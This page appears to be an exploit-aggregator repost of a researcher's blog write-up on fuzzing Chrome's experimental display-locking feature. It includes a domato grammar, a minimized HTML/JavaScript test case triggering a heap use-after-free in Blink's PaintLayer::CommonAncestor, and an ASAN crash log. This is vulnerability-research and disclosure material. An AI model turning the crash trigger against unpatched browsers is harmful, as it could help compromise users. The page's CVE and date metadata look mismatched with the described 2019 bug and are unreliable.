Advertisement






Google Chrome display locking fuzzing

CVE Category Price Severity
CVE-2021-21175 CWE-119 Unknown High
Author Risk Exploitation Type Date
Anonymous High Local 2020-04-18
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020040104

Below is a copy:

Google Chrome display locking fuzzing
Background
While searching for interesting new functionalities in Google Chrome that would potentially be good targets for hunting security bugs I found display locking [https://www.chromestatus.com/feature/4613920211861504]. In general it is related to rendering optimization, so it caught my attention as something that is affecting how the web page layout is displayed. Functionalities like this should always attract attention as potential source of vulnerabilities. Currently display locking is hidden behind a flag (#enable-display-locking).
Setup
I used the same setup already described in my previous blog post about fuzzing the portal element [https://blog.redteam.pl/2019/12/chrome-portal-element-fuzzing.html]. In general there were a lot of changes to the spec and implementation of display locking functionality during the time I worked on it. First it was a JavaScript API [https://discourse.wicg.io/t/proposal-display-locking/2905], later it became a HTML attribute [https://github.com/whatwg/html/issues/4861] and at the time of writing this article it has been moved into CSS [https://github.com/WICG/display-locking]. Finally what it took to find an interesting issue was only a small addition to the grammar in the form of adding one HTML attribute  rendersubtree.

The following grammar was used with domato fuzzer:

attributevalues.txt:
<rendersubtree_value> = invisible
<rendersubtree_value> = skip-activation
<rendersubtree_value> = skip-viewport-activation
<rendersubtree_value> = holdupgrades
<rendersubtree_value> = holdloads

html.txt:
<attribute> = <attribute_rendersubtree>
<attribute_eventhandler> = <attribute_onrendersubtreeactivation>
<attribute_rendersubtree> = rendersubtree="<rendersubtree_value>"
<attribute_onrendersubtreeactivation> = onrendersubtreeactivation="<eventhandler>"

js.txt:
<Element>.rendersubtree = "<rendersubtree_value>";
<Element>.setAttribute("rendersubtree", "<rendersubtree_value>");
<Element>.setAttribute("rendersubtree", "");
setTimeout('<Element>.setAttribute("rendersubtree", "<rendersubtree_value>");', <int min=0 max=2000>);
setTimeout('<Element>.setAttribute("rendersubtree", "");', <int min=0 max=2000>);
<new EventHandler> = <GlobalEventHandlers>.onrendersubtreeactivation;
<GlobalEventHandlers>.onrendersubtreeactivation = <EventHandler>;

jshelpers.txt:
<string_attr> = "rendersubtree"
<string_attr> = "onrendersubtreeactivation"
<string_attrvalue> = "<rendersubtree_value>"

tagattributes.txt:
<div_attribute> = <attribute_rendersubtree>
<iframe_attribute> = <attribute_rendersubtree>
<img_attribute> = <attribute_rendersubtree>
[...]

Note that rendersubtree attribute has been deprecated and current implementation is in CSS properties, more specifically subtree-visiblity and contain-intrinsic-size.
Fuzzing results
As usual some null pointer dereferences were showing up, so nothing really interesting there. It took some time and then after the implementation change, as already mentioned before an interesting crash showed up after the rendersubtree attribute was implemented.
Heap Use-After-Free in chrome!blink::PaintLayer::CommonAncestor
A Use-After-Free vulnerability in PaintLayer::CommonAncestor [https://bugs.chromium.org/p/chromium/issues/detail?id=1033795] that was reported on December 13, 2019. Below is a minimized test case that triggered the issue.

<html>
<head>
<style>
</style>
<script>
function boom1() {
var fuzz1 = document.getElementById("fuzz1");
var svgfuzz1 = document.getElementById("svgfuzz1");
svgfuzz1.addEventListener("DOMSubtreeModified", boom1);
fuzz1.setAttribute("rendersubtree", "invisible");
fuzz1.src = "x";
}
function boom2() {
fuzz2.setAttribute("rendersubtree", "invisible");
document.caretRangeFromPoint(71,6);
document.body.appendChild(fuzz1);
}
</script>
</head>
<body>
<svg id="svgfuzz1" onload="boom1()"  >
<a>
<title id="fuzz2"></title>
<animate onrepeat="boom2()" repeatDur="indefinite" dur="1"/>
</svg>
<a>
<audio id="fuzz1"  controls="controls"  >
</audio>
</body>
</html>

The issue was confirmed on 80.0.3987.7 dev 64-bit and 81.0.3993.0 canary 64-bit.

Part of the ASAN log:
==426180==ERROR: AddressSanitizer: heap-use-after-free on address 0x1218d6e37560 at pc 0x7ff951ca7e53 bp 0x00ebfd9f78e0 sp 0x00ebfd9f7928
READ of size 8 at 0x1218d6e37560 thread T0
    #0 0x7ff951ca7e52 in blink::PaintLayer::CommonAncestor(class blink::PaintLayer const *) const C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\paint\paint_layer.cc:3551:1
    #1 0x7ff95525eac9 in blink::CompositingInputsRoot::Update(class blink::PaintLayer *) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\paint\compositing\compositing_inputs_root.cc:24:44
    #2 0x7ff951c94f89 in blink::PaintLayer::RemoveChild(class blink::PaintLayer *) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\paint\paint_layer.cc:1373:5
    #3 0x7ff95153d609 in blink::LayoutObject::RemoveLayers(class blink::PaintLayer *) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_object.cc:632:19
    #4 0x7ff95155e20d in blink::LayoutObject::WillBeRemovedFromTree(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_object.cc:3160:5
    #5 0x7ff954b6d2eb in blink::LayoutObjectChildList::RemoveChildNode(class blink::LayoutObject *, class blink::LayoutObject *, bool) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_object_child_list.cc:124:18
    #6 0x7ff952200aaf in blink::LayoutFlexibleBox::RemoveChild(class blink::LayoutObject *) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_flexible_box.cc:280:16
    #7 0x7ff95155cb27 in blink::LayoutObject::WillBeDestroyed(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_object.cc:3029:3
    #8 0x7ff9517db451 in blink::LayoutBoxModelObject::WillBeDestroyed(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_box_model_object.cc:220:17
    #9 0x7ff95155f3cd in blink::LayoutObject::Destroy(void) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\layout\layout_object.cc:3293:3

Google awarded a $5000 bounty for this one.


Summary
It was a second blog post where I wanted to demonstrate that it is possible to find security vulnerabilities without a big time investment. Picking the right target and timing is very important. In this case we had a functionality that was a good target because it influenced the rendering/drawing process. It was also in the early stages of development, specification changed a lot  it is always good time to look for bugs.

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum